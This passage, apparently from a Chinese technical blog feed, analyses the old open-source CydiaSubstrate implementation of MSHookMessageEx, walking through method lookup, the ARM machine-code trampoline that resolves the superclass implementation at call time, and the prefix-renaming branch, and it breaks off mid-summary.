<h2 id="Reference"><a href="#Reference" class="headerlink" title="Reference"></a>Reference</h2><p>[1] 动态修改 C 语言函数的实现　<a href="http://draveness.me/fishhook/">http://draveness.me/fishhook/</a><br>[2] 趣探 Mach-O：FishHook 解析　<a href="http://www.open-open.com/lib/view/open1487057519754.html">http://www.open-open.com/lib/view/open1487057519754.html</a><br>[3] 编译体系漫游　<a href="http://www.tuicool.com/articles/uI7Bria">http://www.tuicool.com/articles/uI7Bria</a></p>
]]></content>
      <categories>
        <category>源码解析</category>
      </categories>
  </entry>
  <entry>
    <title>Hook 原理之 CydiaSubstrate（一）：MSHookMessageEx</title>
    <url>/92be8389.html</url>
    <content><![CDATA[<h2 id="前情提要"><a href="#前情提要" class="headerlink" title="前情提要"></a>前情提要</h2><p>CydiaSubstrate，作者为 Jay Freeman(saurik)，在iOS7越狱之前名为 MobileSubstrate，因此 CydiaSubstrate 框架中的大部分函数仍以 <code>MS</code> 为前缀。</p>
<blockquote>
<p>在用 theos 开发中，control 文件中的 depend 字段依赖库为 mobilesubstrate，该工具是实现 CydiaSubstrate 注入的关键所在，整个工具主要分为 MobileHooker、MobileLoader 以及 Safe mode 三部分。</p>
<p>MobileHooker，是 CydiaSubstrate 的一个组件，对 C 和 Objective-C 均有效。</p>
<p>MobileHooker 组件主要提供了 MSHookMessageEx 和 MSHookFunction 两个函数针对不同语言的 inline hook 功能，其中 MSHookMessageEx 负责用来 hook Objective-C 函数，MSHookFunction 负责用来 hook C/C++ 函数。<br>　　　　　　　　　　　　                                                               ————简书作者：HWenj《<a href="http://www.jianshu.com/p/3479f9632a6f">iOS HOOK</a>》</p>
</blockquote>
<a id="more"></a>

<h2 id="源码编译"><a href="#源码编译" class="headerlink" title="源码编译"></a>源码编译</h2><p>CydiaSubstrate 源代码现在已经不开源了，我调试用的代码是 iOS5 的时候的版本，<a href="https://github.com/r-plus/substrate">GitHub</a>。虽然已经过时很久，仅支持32位的移动端，以及32/64位的 PC 端，但其中还是有很多东西值得学习。</p>
<p>正如前文所说，MSHookMessageEx 是针对 OC 函数的 hook，因此它也是采用的 Method Swizzling 方法（详见我之前的文章 <a href="https://harpersu00.github.io/3062bfbd.html">Hook 原理之 Method Swizzling</a>），下面我们来分析一下老版本中的源代码。核心代码在 C++ 文件 <code>ObjectiveC.cpp</code> 中。</p>
<ol>
<li>首先需要在你的工程中引入以下几个文件：ARM.hpp、x86.hpp、CydiaSubstrate.h、Debug.hpp、Debug.cpp 以及 Log.hpp，后面三个文件可以不导入，修改几处 Log 的代码即可。</li>
<li>然后在工程中添加一对新的 C++ 文件（即实现文件和头文件），我的命名为 MyMSHookMessageEx。</li>
<li>然后将 ObjectiveC.cpp 中的内容，包括引入的头文件，<code>static Method MSFindMethod(Class _class, SEL sel)</code> 函数，<code>static void MSHookMessageInternal(...)</code> 函数和 <code>_extern void MSHookMessageEx(...)</code> 函数拷贝到 MyMSHookMessageEx.cpp 中。</li>
<li>新建 Cocoa Touch Class，我的命名为 <code>MySwizzling</code>。在头文件中添加函数声明 <code>- (void)exchange;</code>。</li>
<li>在实现文件 MySwizzling.m 中添加以下代码：</li>
</ol>
<figure class="highlight objectivec"><table><tr><td class="code"><pre><span class="line"><span class="meta">#import <span class="meta-string">&quot;MySwizzling.h&quot;</span></span></span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">@implementation</span> <span class="title">MySwizzling</span></span></span><br><span class="line"></span><br><span class="line"><span class="keyword">void</span> *(*oldConnect)(<span class="keyword">id</span> <span class="keyword">self</span>, SEL _cmd);</span><br><span class="line"></span><br><span class="line"><span class="keyword">void</span> *newConnect(<span class="keyword">id</span> <span class="keyword">self</span>, SEL _cmd) &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="built_in">NSLog</span>(<span class="string">@&quot;new connect&quot;</span>);  </span><br><span class="line">    <span class="keyword">return</span> oldConnect(<span class="keyword">self</span>, _cmd);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">- (<span class="keyword">void</span>)connect_orig &#123;</span><br><span class="line">    <span class="built_in">NSLog</span>(<span class="string">@&quot;origin connect&quot;</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">- (<span class="keyword">void</span>)exchange &#123;</span><br><span class="line">    </span><br><span class="line">    MSHookMessageEx([<span class="keyword">self</span> <span class="keyword">class</span>], <span class="keyword">@selector</span>(connect_orig), &amp;newConnect, &amp;oldConnect);</span><br><span class="line">    [<span class="keyword">self</span> connect_orig];   </span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">@end</span></span><br></pre></td></tr></table></figure>

<p>6.　最后在你想测试的地方，初始化类，调用方法即可。（我是在 ViewController.m: -(void)viewDidLoad 中调用的）</p>
<h2 id="源码解析"><a href="#源码解析" class="headerlink" title="源码解析"></a>源码解析</h2><h3 id="MSHookMessageEx"><a href="#MSHookMessageEx" class="headerlink" title="MSHookMessageEx"></a>MSHookMessageEx</h3><p>MSHookMessageEx 函数就是对 MSHookMessageInternal 函数的封装，除了 prefix 参数为 NULL 之外，其余的参数都原封不动的传入。</p>
<h3 id="MSHookMessageInternal"><a href="#MSHookMessageInternal" class="headerlink" title="MSHookMessageInternal"></a>MSHookMessageInternal</h3><p>先厘清一下这个核心函数的整个流程。</p>
<ol>
<li>进入 MSHookMessageInternal 函数先是一大堆参数检查的 log， 比较清晰，就不分析了。然后调用 <code>Method method(MSFindMethod(_class, sel));</code> 通过 MSFindMethod 函数获取 sel 对应的方法 method；</li>
<li>初始化一些值。字符指针 type 赋值为 method 的参数类型等描述。direct 赋值为 false，这个值代表着传入的参数 sel 是否为传入的参数 _class 中的方法，即是否为本类的方法。在接下来的第一个 for 循环中改变 direct 的值，这个循环就是用来判断 sel 是否是 _class 中的方法。如果不是本类的方法，执行第3步。如果是本类的方法，就跳过 if 函数，执行第4步。</li>
<li>如果不是本类的方法，就根据运行设备的架构（32位的arm，i386 和 x86_64）添加 <code>class_getMethodImplementation(super,sel)</code> 以及 <code>执行 sel 对应的函数实现</code> 的机器码，将返回值存储在 old 中。然后执行第5步。</li>
<li>如果是本类的方法，就跳过 if 函数，将找到的 sel 对应的方法 method 的实现 imp 赋给 old。然后执行第5步。</li>
<li>然后将 old 的值赋给 *result，即 oldConnect 函数指针。</li>
<li>如果 prefix != NULL，就给 _class 类添加一个 sel 为 prefix+sel，imp 为 old 的方法。</li>
<li>如果是本类的方法，执行第8步。如果不是，执行 else 分支，第9步。</li>
<li>direct = true，就通过 <code>method_setImplementation</code> 函数将传入的 newConnect 的函数地址赋给 sel 对应的方法 method 中的实现。即调用 connect_orig，会跳到 newConnect 的入口函数处。</li>
<li>direct = false，则通过 <code>class_addMethod</code> 函数将函数名为 sel，函数地址为 newConnect 函数地址，函数类型为 type 的方法添加到 _class 类中。</li>
</ol>
<p>下面对主要部分作详细解释。</p>
<h4 id="MSFindMethod"><a href="#MSFindMethod" class="headerlink" title="MSFindMethod"></a>MSFindMethod</h4><p>MSFindMethod 函数主要是用于找到传入的参数 sel 对应的 method。</p>
<figure class="highlight arduino"><table><tr><td class="code"><pre><span class="line"><span class="function"><span class="keyword">static</span> Method <span class="title">MSFindMethod</span><span class="params">(Class _class, SEL sel)</span> </span>&#123;</span><br><span class="line">    <span class="keyword">for</span> (; _class != nil; _class = class_getSuperclass(_class)) &#123;</span><br><span class="line">        <span class="keyword">unsigned</span> <span class="keyword">int</span> <span class="built_in">size</span>;</span><br><span class="line">        <span class="function">Method *<span class="title">methods</span><span class="params">(class_copyMethodList(_class, &amp;<span class="built_in">size</span>))</span></span>;</span><br><span class="line">        <span class="keyword">if</span> (methods == <span class="literal">NULL</span>)</span><br><span class="line">            <span class="keyword">continue</span>;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">for</span> (<span class="keyword">unsigned</span> <span class="keyword">int</span> j(<span class="number">0</span>); j != <span class="built_in">size</span>; ++j) &#123;</span><br><span class="line">            <span class="function">Method <span class="title">method</span><span class="params">(methods[j])</span></span>;</span><br><span class="line">            <span class="keyword">if</span> (!sel_isEqual(method_getName(methods[j]), sel))</span><br><span class="line">                <span class="keyword">continue</span>;</span><br><span class="line"></span><br><span class="line">            <span class="built_in">free</span>(methods);</span><br><span class="line">            <span class="keyword">return</span> method;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="built_in">free</span>(methods);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> nil;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>主要是通过两个 for 循环，遍历参数 _class 及其父类（父类的父类…直到基类），通过函数 <code>class_copyMethodList</code> 取得 _class 的方法列表，通过第二个 for 循环来遍历方法列表，与 sel 字符串作比较，如果匹配成功，即找到 sel 对应的方法，返回该 method，否则一直遍历，直到最后返回 nil。</p>
<blockquote>
<p>这份源代码中，作者在使用 C++ 语言的初始化时，多用括号。如 int j = 0; 　作者常使用 int j(0);</p>
</blockquote>
<h4 id="if-direct"><a href="#if-direct" class="headerlink" title="if (!direct)"></a>if (!direct)</h4><figure class="highlight arduino"><table><tr><td class="code"><pre><span class="line">    <span class="keyword">if</span> (!direct) &#123;</span><br><span class="line"><span class="meta">#<span class="meta-keyword">if</span> defined(__arm__)</span></span><br><span class="line">        <span class="function"><span class="keyword">size_t</span> <span class="title">length</span><span class="params">(<span class="number">11</span> * <span class="keyword">sizeof</span>(<span class="keyword">uint32_t</span>))</span></span>;</span><br><span class="line"><span class="meta">#<span class="meta-keyword">elif</span> defined(__i386__)</span></span><br><span class="line">        <span class="function"><span class="keyword">size_t</span> <span class="title">length</span><span class="params">(<span class="number">20</span>)</span></span>;</span><br><span class="line"><span class="meta">#<span class="meta-keyword">elif</span> defined(__x86_64__)</span></span><br><span class="line">        <span class="function"><span class="keyword">size_t</span> <span class="title">length</span><span class="params">(<span class="number">50</span>)</span></span>;</span><br><span class="line"><span class="meta">#<span class="meta-keyword">endif</span></span></span><br><span class="line"></span><br><span class="line">        <span class="function"><span class="keyword">uint32_t</span> *<span class="title">buffer</span><span class="params">(<span class="keyword">reinterpret_cast</span>&lt;<span class="keyword">uint32_t</span> *&gt;(mmap(</span></span></span><br><span class="line"><span class="function"><span class="params">            <span class="literal">NULL</span>, length, PROT_READ | PROT_WRITE, MAP_ANON | MAP_PRIVATE, <span class="number">-1</span>, <span class="number">0</span></span></span></span><br><span class="line"><span class="function"><span class="params">        )))</span></span>;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> (<span class="built_in">buffer</span> == MAP_FAILED)</span><br><span class="line">            MSLog(MSLogLevelError, <span class="string">&quot;MS:Error:mmap() = %d&quot;</span>, errno);</span><br><span class="line">        <span class="keyword">else</span> <span class="keyword">if</span> (<span class="literal">false</span>) fail:</span><br><span class="line">            munmap(<span class="built_in">buffer</span>, length);</span><br><span class="line">        <span class="keyword">else</span> &#123;</span><br><span class="line">            Class super(class_getSuperclass(_class));</span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="meta-keyword">if</span> defined(__arm__)</span></span><br><span class="line">            <span class="built_in">buffer</span>[ <span class="number">0</span>] = A$stmdb_sp$_$rs$((<span class="number">1</span> &lt;&lt; A$r0) | (<span class="number">1</span> &lt;&lt; A$r1) | (<span class="number">1</span> &lt;&lt; A$r2) | (<span class="number">1</span> &lt;&lt; A$r3) | (<span class="number">1</span> &lt;&lt; A$lr));</span><br><span class="line">            <span class="built_in">buffer</span>[ <span class="number">1</span>] = A$ldr_rd_$rn_im$(A$r0, A$pc, ( <span class="number">8</span> - <span class="number">1</span> - <span class="number">2</span>) * <span class="number">4</span>);</span><br><span class="line">            <span class="built_in">buffer</span>[ <span class="number">2</span>] = A$ldr_rd_$rn_im$(A$r1, A$pc, ( <span class="number">9</span> - <span class="number">2</span> - <span class="number">2</span>) * <span class="number">4</span>);</span><br><span class="line">            <span class="built_in">buffer</span>[ <span class="number">3</span>] = A$ldr_rd_$rn_im$(A$lr, A$pc, (<span class="number">10</span> - <span class="number">3</span> - <span class="number">2</span>) * <span class="number">4</span>);</span><br><span class="line">            <span class="built_in">buffer</span>[ <span class="number">4</span>] = A$blx_rm(A$lr);</span><br><span class="line">            <span class="built_in">buffer</span>[ <span class="number">5</span>] = A$str_rd_$rn_im$(A$r0, A$sp, <span class="number">-4</span>);</span><br><span class="line">            <span class="built_in">buffer</span>[ <span class="number">6</span>] = A$ldmia_sp$_$rs$((<span class="number">1</span> &lt;&lt; A$r0) | (<span class="number">1</span> &lt;&lt; A$r1) | (<span class="number">1</span> &lt;&lt; A$r2) | (<span class="number">1</span> &lt;&lt; A$r3) | (<span class="number">1</span> &lt;&lt; A$lr));</span><br><span class="line">            <span class="built_in">buffer</span>[ <span class="number">7</span>] = A$ldr_rd_$rn_im$(A$pc, A$sp, <span class="number">-4</span> - (<span class="number">5</span> * <span class="number">4</span>));</span><br><span class="line">            <span class="built_in">buffer</span>[ <span class="number">8</span>] = <span class="keyword">reinterpret_cast</span>&lt;<span class="keyword">uint32_t</span>&gt;(super);</span><br><span class="line">            <span class="built_in">buffer</span>[ <span class="number">9</span>] = <span class="keyword">reinterpret_cast</span>&lt;<span class="keyword">uint32_t</span>&gt;(sel);</span><br><span class="line">            <span class="built_in">buffer</span>[<span class="number">10</span>] = <span class="keyword">reinterpret_cast</span>&lt;<span class="keyword">uint32_t</span>&gt;(&amp;class_getMethodImplementation);</span><br><span class="line"><span class="meta">#<span class="meta-keyword">elif</span> defined(__i386__)</span></span><br><span class="line">            ......</span><br><span class="line"><span class="meta">#<span class="meta-keyword">elif</span> defined(__x86_64__)</span></span><br><span class="line">            ......</span><br><span class="line"><span class="meta">#<span class="meta-keyword">endif</span></span></span><br><span class="line"></span><br><span class="line">            <span class="keyword">if</span> (mprotect(<span class="built_in">buffer</span>, length, PROT_READ | PROT_EXEC) == <span class="number">-1</span>) &#123;</span><br><span class="line">                ......</span><br><span class="line">            &#125;</span><br><span class="line"></span><br><span class="line">            old = <span class="keyword">reinterpret_cast</span>&lt;IMP&gt;(<span class="built_in">buffer</span>);</span><br><span class="line"></span><br><span class="line">            <span class="keyword">if</span> (MSDebug) &#123;</span><br><span class="line">                ......</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br></pre></td></tr></table></figure>

<p>前两句代码比较容易理解，给 length 分配大小，然后给 buffer 分配内存，以4个字节为单位分配11个可读写的内存。然后将 super 赋值为 _class 的父类。</p>
<p>接下来这一部分涉及到汇编和机器码的对应问题，后面的讲解主要以32位的 arm 为例，i386 和 x86_64 都跟它差不多，比它要更简单一点。</p>
<p>推荐官方手册：ARM Architecture Reference Manual。非常详细和权威的参考资料。</p>
<p>汇编语言对应着不同的机器语言指令集。一种汇编语言专用于某种计算机系统结构，而不像高级语言，可以在不同系统平台间移植。CPU 处理的时候实际上是处理的机器语言，也就是我们常说的机器码。由汇编器负责汇编语言到机器语言的转换。</p>
<p><img src="/images/2017-03-07-%E9%80%86%E5%90%91%E7%9F%A5%E8%AF%86-Hook-%E5%8E%9F%E7%90%86%E4%B9%8B-CydiaSubstrate%EF%BC%88%E4%B8%80%EF%BC%89%EF%BC%9AMSHookMessageEx/%E6%9C%BA%E5%99%A8%E7%A0%81%E6%A0%BC%E5%BC%8F.png"></p>
<p>上图为与汇编语言相对应的通用的机器码格式。cond 为条件码，如 EQ(EQual to 0)、NE(Not Equal to 0)、CS(Carry Set)等等，如果是无条件，则为 AL(ALways)，对应的机器码为1110。</p>
<p>26~27位是保留位。</p>
<p>I 位，也就是第25位，是用来表明 shifter_operand 段存放的类型。0表示寄存器，1表示立即数。</p>
<p>24~21位是 opcode，表明指令的类型。如 AND 为0000，SUB 为0010，MOV 为1101等等。</p>
<p>S 位，第20位，表明是否影响 cpsr（程序状态寄存器），有则置1，否则置0。</p>
<p>19~16位是指 Rn 寄存器，也就是第一个源操作数寄存器，根据每个指令的格式，有的指令有 Rn，有的没有。</p>
<p>15~12位是指 Rd 寄存器，即目的寄存器，存放操作后的数据。</p>
<p>11~0位标明第二个源操作数，若为立即数则填该立即数的二进制值，若为通用寄存器则填通用寄存器标号的二进制值。另外根据不同的指令，这一字段会有不同的具体划分，可查阅官方手册。</p>
<p>根据 ARM.hpp 头文件中的宏定义，来具体分析这几句汇编代码。以第一句<code>A$stmdb_sp$_$rs$(...)</code> 为例，在头文件中的定义为：</p>
<figure class="highlight gams"><table><tr><td class="code"><pre><span class="line">enum A<span class="symbol">$</span>r &#123;</span><br><span class="line">    A<span class="symbol">$</span>r0, A<span class="symbol">$</span>r1, A<span class="symbol">$</span>r2, A<span class="symbol">$</span>r3,</span><br><span class="line">    A<span class="symbol">$</span>r4, A<span class="symbol">$</span>r5, A<span class="symbol">$</span>r6, A<span class="symbol">$</span>r7,</span><br><span class="line">    A<span class="symbol">$</span>r8, A<span class="symbol">$</span>r9, A<span class="symbol">$</span>r10, A<span class="symbol">$</span>r11,</span><br><span class="line">    A<span class="symbol">$</span>r12, A<span class="symbol">$</span>r13, A<span class="symbol">$</span>r14, A<span class="symbol">$</span>r15,</span><br><span class="line">    A<span class="symbol">$</span>sp = A<span class="symbol">$</span>r13,</span><br><span class="line">    A<span class="symbol">$</span>lr = A<span class="symbol">$</span>r14,</span><br><span class="line">    A<span class="symbol">$</span>pc = A<span class="symbol">$</span>r15</span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line">#define A<span class="symbol">$</span>stmdb_sp<span class="symbol">$</span>_<span class="symbol">$</span>rs<span class="symbol">$</span>(rs) <span class="comment">/* stmdb sp!, &#123;rs&#125; */</span> \</span><br><span class="line">    (<span class="number">0xe9200000</span> | (A<span class="symbol">$</span>sp &lt;&lt; <span class="number">16</span>) | (rs))</span><br></pre></td></tr></table></figure>

<p>0xe920000 的二进制数为1110 10 0 1001 0 000000000000，即无条件，操作指令为1001，0<del>19的字段通过按位或来填充。首先 A$sp 左移16位，A$sp = A$r13 = 13 = 1101，左移16位，即填充至19</del>16位，Rn 寄存器的位置，0~15的字段由 rs 填充。</p>
<p>第一句 <code>buffer[ 0] = A$stmdb_sp$_$rs$((1 &lt;&lt; A$r0) | (1 &lt;&lt; A$r1) | (1 &lt;&lt; A$r2) | (1 &lt;&lt; A$r3) | (1 &lt;&lt; A$lr));</code> 即1左移0位，1左移1位，1左移2位，1左移3位，1左移14位，按位或之后为：1110 10 0 1001 0 1101 0100 0000 0000 1111。官方手册上关于 stmdb 的格式是这样的：</p>
<p><img src="/images/2017-03-07-%E9%80%86%E5%90%91%E7%9F%A5%E8%AF%86-Hook-%E5%8E%9F%E7%90%86%E4%B9%8B-CydiaSubstrate%EF%BC%88%E4%B8%80%EF%BC%89%EF%BC%9AMSHookMessageEx/stmdb.png"></p>
<p>其中 registers 的解释为：</p>
<p><img src="/images/2017-03-07-%E9%80%86%E5%90%91%E7%9F%A5%E8%AF%86-Hook-%E5%8E%9F%E7%90%86%E4%B9%8B-CydiaSubstrate%EF%BC%88%E4%B8%80%EF%BC%89%EF%BC%9AMSHookMessageEx/register_list.png"></p>
<p>上面的代码执行后，在第0、1、2、3、14位均为1，也就是代表了 r0、r1、r2、r3、lr 寄存器。因此我们将机器码整理为汇编语言，即为 <code>stmdb sp! &#123;r0~r3,lr&#125;</code>。</p>
<p>将后面的几句依次整理为汇编语言：</p>
<p><img src="/images/2017-03-07-%E9%80%86%E5%90%91%E7%9F%A5%E8%AF%86-Hook-%E5%8E%9F%E7%90%86%E4%B9%8B-CydiaSubstrate%EF%BC%88%E4%B8%80%EF%BC%89%EF%BC%9AMSHookMessageEx/%E6%9C%BA%E5%99%A8%E7%A0%81%E5%AF%B9%E6%AF%94.png"></p>
<p>即为</p>
<figure class="highlight armasm"><table><tr><td class="code"><pre><span class="line"><span class="keyword">stmdb</span>  <span class="built_in">sp</span>! &#123;<span class="built_in">r0</span>~<span class="built_in">r3</span>, <span class="built_in">lr</span>&#125;</span><br><span class="line"><span class="keyword">ldr</span>    <span class="built_in">r0</span>, [<span class="built_in">pc</span>, <span class="number">#0x14</span>]</span><br><span class="line"><span class="keyword">ldr</span>    <span class="built_in">r1</span>, [<span class="built_in">pc</span>, <span class="number">#0x14</span>]</span><br><span class="line"><span class="keyword">ldr</span>    <span class="built_in">r2</span>, [<span class="built_in">pc</span>, <span class="number">#0x14</span>]</span><br><span class="line"><span class="keyword">blx</span>    <span class="built_in">lr</span></span><br><span class="line"><span class="keyword">str</span>    <span class="built_in">r0</span>, [<span class="built_in">sp</span>, #-<span class="number">0x4</span>]</span><br><span class="line"><span class="symbol">ldia</span>   <span class="built_in">sp</span>!, &#123;<span class="built_in">r0</span>~<span class="built_in">r3</span>, <span class="built_in">lr</span>&#125;</span><br><span class="line"><span class="keyword">ldr</span>    <span class="built_in">pc</span>, [<span class="built_in">sp</span>, #-<span class="number">0x18</span>]</span><br></pre></td></tr></table></figure>

<p>我们在 newConnect 函数的末尾 <code>return oldConnect(self, _cmd)</code> 处下一个断点，然后在控制台输入几次 si 命令，即可看到增加的这几行汇编代码与我们分析的一样，如下图：</p>
<p><img src="/images/2017-03-07-%E9%80%86%E5%90%91%E7%9F%A5%E8%AF%86-Hook-%E5%8E%9F%E7%90%86%E4%B9%8B-CydiaSubstrate%EF%BC%88%E4%B8%80%EF%BC%89%EF%BC%9AMSHookMessageEx/%E6%B1%87%E7%BC%96.png"></p>
<p>那么这几行汇编代码是什么意思呢？<br>第1行，是将 r0~r3，以及 lr 寄存器推入栈中，即保存现在的状态。</p>
<p>第2、3、4行，将 pc+0x14 处的数值存入 r0、r1、lr 寄存器。这几行汇编指令都是以机器码的形式写入 buffer 中的，buffer[0]~buffer[7] 保存了这8条指令。<code>buffer[ 8] = reinterpret_cast&lt;uint32_t&gt;(super);</code> 即保存的是 super （_class 父类）的值，buffer[9] 保存的是 sel 的值，buffer[10] 保存的是 class_getMethodImplementation 的地址。</p>
<blockquote>
<p>有关 pc 的计算。<br>　　PC 值（program counter）表示下一条指令存储的地址。由于 ARM 采用流水线来提高 CPU 利用效率，无论是 ARM7 的3级流水线还是 ARM9 的5级流水线，如果当前指令在执行，那么下一条指令一定正在译码，再下一条指令正在读取。<br>　　因此 PC 值实际上指的是当前执行指令的下一条的再一下条指令。</p>
</blockquote>
<p>第5行，跳到 lr 寄存器中的地址处，执行指令代码，即 buffer[10]，class_getMethodImplementation 函数，它的参数为 r0,r1。那么，也就是执行 <code>class_getMethodImplementation(super, sel)；</code></p>
<p>第6行，lr 寄存器存储的地址中的代码执行完毕后，将返回值 r0 寄存器中的值保存到栈中，即 sp-0x4 中，然后 sp = sp -0x4。也就是说在栈中保存了 sel 对应的 imp 值。</p>
<p>第7行，将 r0~r3，以及 lr 寄存器推出栈，恢复之前的状态。</p>
<p>第8行，将 pc 指向 sp-0x18 处的值。因为第7行指令执行完之后，sp 的值也恢复到第1条指令执行之前的状态，所以需要 sp-0x18 来找到再第6条指令处保存的返回值，并执行。（有关 ARM 中栈以及 SP 的操作，可以参考我之前的文章 <a href="https://harpersu00.github.io/d3a97ef3.html">栈·参数存储排布</a>）</p>
<p>因此整个汇编代码做的事情实际上就是前面在流程中提到的，根据运行设备的架构（32位的arm，i386 和 x86_64）来执行方法调用<code>class_getMethodImplementation(super,sel)</code>，以及执行这个方法返回的 imp。</p>
<blockquote>
<p>　　class_getMethodImplementation 函数内部会调用 lookUpImpOrNil 函数，这个函数接着又会调用 <code>lookUpImpOrForward</code> 函数。<br>　　 而 lookUpImpOrForward 正是 objc_msgSend 消息函数在没有缓存的时候，将会执行的函数。因此 class_getMethodImplementation 函数寻找对应的 imp 的流程跟无 cache 发送消息的流程是一样的，会往上寻找父类的方法列表，一直到基类的方法列表，找不到再进行消息转发等等。（具体内容可以参考我之前的文章 <a href="https://harpersu00.github.io/77e03b7f.html">通过汇编解读 objc_msgSend</a>）</p>
</blockquote>
<p>最后是将 buffer 的地址赋给 old，这样，在执行 connect_orig 时，就会跳到 buffer[0] 处执行那几条机器码，找到 sel 对应的 imp 并执行。</p>
<h4 id="为什么要使用-if-direct-这段代码"><a href="#为什么要使用-if-direct-这段代码" class="headerlink" title="为什么要使用 if (!direct) 这段代码"></a>为什么要使用 if (!direct) 这段代码</h4><p>在 MSHookMessageEx 的<a href="http://www.cydiasubstrate.com/api/c/MSHookMessageEx/">官方介绍页面</a>有这样几段话：</p>
<blockquote>
<p>However, while these APIs function quite well when there are only a small number of people making modifications, they fail to satisfy more complex use cases; in particular, there are ordering problems if multiple people attempt to hook the same message at different points in an inheritance hierarchy.</p>
<p>Finally, it is important that classes that are being instrumented are not “initialized” as they are being modified (which would both change the ordering of the target program, as well as make it impossible to hook the initialization sequence); over time, the way Objective-C runtime APIs implement this has changed.</p>
<p>Substrate solves all of these problems by providing a replacement API that takes all of these issues into account, always making certain that the classes are not initialized and that the right “next implementation” is used while walking back up an inheritance hierarchy.</p>
</blockquote>
<p>作者讲得非常清楚。这一部分将机器码嵌入到原始方法的 IMP 之前，使得在调用自定义方法之后，调用原始方法之前，有一个 old = class_getMethodImplementation(super, sel) 的动作，也就是说，是在执行方法的时候动态查找原始 IMP 的函数，而不是在 MSHookMessageEx 函数执行的时候，就已经确定好了原始 IMP 的地址。</p>
<p><strong>这样做是为了解决在一个继承体系中的不同节点处，hook 相同函数的问题。</strong></p>
<p>现在让我们设想一个情景：有三个类，Parent、Child、Grandson，其中 Grandson 类继承于 Child 类，Child 类继承于 Parent 类。</p>
<p>在 Parent 类中实现了一个函数： - (void)parent_connect。<br>在 Child 类、Grandson 类中声明这个函数但并没有实现。<br>在 Child 类以及 Grandson 类中均使用 MSHookMessageEx 函数 hook 了 - (void)parent_connect 函数。</p>
<p>情景1：</p>
<ol>
<li>先调用 <strong>Child 类</strong>中的 hook 函数，</li>
<li>再调用 Grandson 类中的 hook 函数。</li>
</ol>
<p>情景2：</p>
<ol>
<li>先调用 <strong>Grandson 类</strong>中的 hook 函数，</li>
<li>再调用 Child 类中的 hook 函数，</li>
<li>最后再调用一次 <strong>Grandson 类</strong>中的 hook 函数。</li>
</ol>
<p><strong>1）如果没有这段嵌入的代码，即注释掉 if (!direct){…} 这段代码。</strong></p>
<p>在情景1中，</p>
<ol>
<li>依次调用Child 类中的自定义函数、 Parent 类中的原始函数，</li>
<li>依次调用 Grandson 类中的自定义函数、 Child 类中的自定义函数、 Parent 类中的原始函数。</li>
</ol>
<p>在情景2中，</p>
<ol>
<li>依次调用 Grandson 类中的自定义函数、 Parent 类中的原始函数，</li>
<li>依次调用 Child 类中的自定义函数、 Parent 类中的原始函数，</li>
<li><strong>仍是依次调用 Grandson 类中的自定义函数、 Parent 类中的原始函数。</strong></li>
</ol>
<p>　　也就是说，Grandson 类中的 - (void)parent_connect 函数的执行顺序在调用 hook 函数时就已经确定了，并不会因为情景2中的第2步 Child 函数的 hook 使得调用顺序改变。</p>
<p><strong>2）如果有这段嵌入代码，</strong></p>
<p>情景1执行状态相同。<br>情景2则为，</p>
<ol>
<li>依次调用 Grandson 类中的自定义函数、 Parent 类中的原始函数，</li>
<li>依次调用 Child 类中的自定义函数、 Parent 类中的原始函数，</li>
<li><strong>依次调用 Grandson 类中的自定义函数、 Child 类中的自定义函数、 Parent 类中的原始函数。</strong></li>
</ol>
<p>　　 Grandson 类中的 - (void)parent_connect 函数的执行顺序是在该函数调用时才会通过嵌入的那段机器码去查找原始方法的实现。这样做维护了原来的继承体系，这也是 OC runtime 的体现。</p>
<h3 id="if-prefix-NULL"><a href="#if-prefix-NULL" class="headerlink" title="if (prefix!=NULL)"></a>if (prefix!=NULL)</h3><p>这一部分比起上一部分来说就简单多了。</p>
<figure class="highlight cpp"><table><tr><td class="code"><pre><span class="line"><span class="keyword">if</span> (prefix != <span class="literal">NULL</span>) &#123;</span><br><span class="line">        <span class="function"><span class="keyword">const</span> <span class="keyword">char</span> *<span class="title">name</span><span class="params">(sel_getName(sel))</span></span>;</span><br><span class="line">        <span class="function"><span class="keyword">size_t</span> <span class="title">namelen</span><span class="params">(<span class="built_in">strlen</span>(name))</span></span>;</span><br><span class="line">        <span class="function"><span class="keyword">size_t</span> <span class="title">fixlen</span><span class="params">(<span class="built_in">strlen</span>(prefix))</span></span>;</span><br><span class="line"></span><br><span class="line">        <span class="function"><span class="keyword">char</span> *<span class="title">newname</span><span class="params">(<span class="keyword">reinterpret_cast</span>&lt;<span class="keyword">char</span> *&gt;(alloca(fixlen + namelen + <span class="number">1</span>)))</span></span>;</span><br><span class="line">        <span class="built_in">memcpy</span>(newname, prefix, fixlen);</span><br><span class="line">        <span class="built_in">memcpy</span>(newname + fixlen, name, namelen + <span class="number">1</span>);</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> (!class_addMethod(_class, sel_registerName(newname), old, type))</span><br><span class="line">            MSLog(MSLogLevelError, <span class="string">&quot;MS:Error: failed to rename [%s %s]&quot;</span>, class_getName(_class), name);</span><br><span class="line">    &#125;</span><br></pre></td></tr></table></figure>

<p>总体来说，就是给传入的参数 sel 字符串加上前缀 prefix，然后将 old 作为 prefix+sel 的实现，type 作为它的函数类型，将这个 method 加入 _class 的方法列表。</p>
<p>比如 prefix = “xxx”，sel = @selector(connect_orig)。执行了这段代码之后，只需要在头文件中声明　- (void)xxxconnect_orig;　不用在 .m 文件中实现，直接调用　[self xxxconnect_orig];　就会执行原来的 connect_orig 代码。</p>
<h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>关于 if (!direct) 这个分支，总的来说就是:</p>
<ul>
<li>如果 direct == true，这个 sel 是本类的方法，就执行<br>old = method_getImplementation(method);<br>method_setImplementation(method, imp);</li>
